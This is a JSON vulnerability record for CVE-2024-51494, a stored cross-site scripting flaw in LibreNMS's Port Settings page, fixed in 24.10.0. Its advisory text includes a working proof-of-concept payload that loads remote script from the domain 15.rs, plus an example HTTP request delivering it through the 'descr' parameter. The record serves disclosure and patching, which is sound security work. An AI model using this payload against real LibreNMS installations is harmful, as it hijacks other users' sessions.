{"id":"CVE-2024-51494","aliases":["CVE-2024-51494","GHSA-7663-37rg-c377"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php","summary":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"descr\" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the \"Port Settings\" page is visited, potentially compromising the user's session and allowing unauthorized actions. This vulnerability is fixed in 24.10.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"descr\" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the \"Port Settings\" page is visited, potentially compromising the user's session and allowing unauthorized actions. This vulnerability is fixed in 24.10.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"descr\" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the \"Port Settings\" page is visited, potentially compromising the user's session and allowing unauthorized actions.\n\n### Details\nWhen editing a device's port settings, an attacker can inject the following XSS payload into the \"descr\" parameter:\n```lo'\"><script/src=//15.rs>```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers when the \"Port Settings\" page is visited, exploiting the `$port->ifAlias` variable in the application. The sink is located here:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82\n\n### PoC\n1. Edit a device's port settings using the following payload in the \"descr\" parameter:\n```lo'\"><script/src=//15.rs>```\n2. Save the changes.\n3. Navigate to the \"Port Settings\" page of the device.\n4. Observe that the injected script executes.\n\nExample Request:\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: <your_token>\nX-Requested-With: XMLHttpRequest\nCookie: <your_cookie>\n\ntype=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the \"Port Settings\" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitoreo de red de código abierto basado en PHP/MySQL/SNMP. Una vulnerabilidad de tipo Cross-Site Scripting (XSS) Almacenado en la página \"Configuración de puerto\" permite a los usuarios autenticados inyectar código JavaScript arbitrario a través del parámetro \"descr\" al editar la configuración de puerto de un dispositivo. Esta vulnerabilidad puede provocar la ejecución de código malicioso cuando se visita la página \"Configuración de puerto\", lo que puede comprometer la sesión del usuario y permitir acciones no autorizadas. Esta vulnerabilidad se solucionó en la versión 24.10.0.","source":"nvd"}],"published":"2024-11-15T15:43:20.000Z","modified":"2026-06-17T08:05:48.073Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.10.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"24.10.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-7663-37rg-c377","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51494","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-11-15T16:02:34.375Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-51494","url":"https://www.cve.org/CVERecord?id=CVE-2024-51494","licence":"CVE Terms of Use","modified":"2024-11-15T16:04:20.950Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7663-37rg-c377","url":"https://github.com/advisories/GHSA-7663-37rg-c377","licence":"CC-BY-4.0","modified":"2024-11-15T21:10:25.639Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-51494","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51494","licence":"Public domain","modified":"2026-06-17T08:05:48.073Z"}],"updatedAt":"2026-11-25T22:58:48.305Z","epss":{"score":0.00431,"percentile":0.39235,"date":"2026-12-01T12:00:22.000Z"}}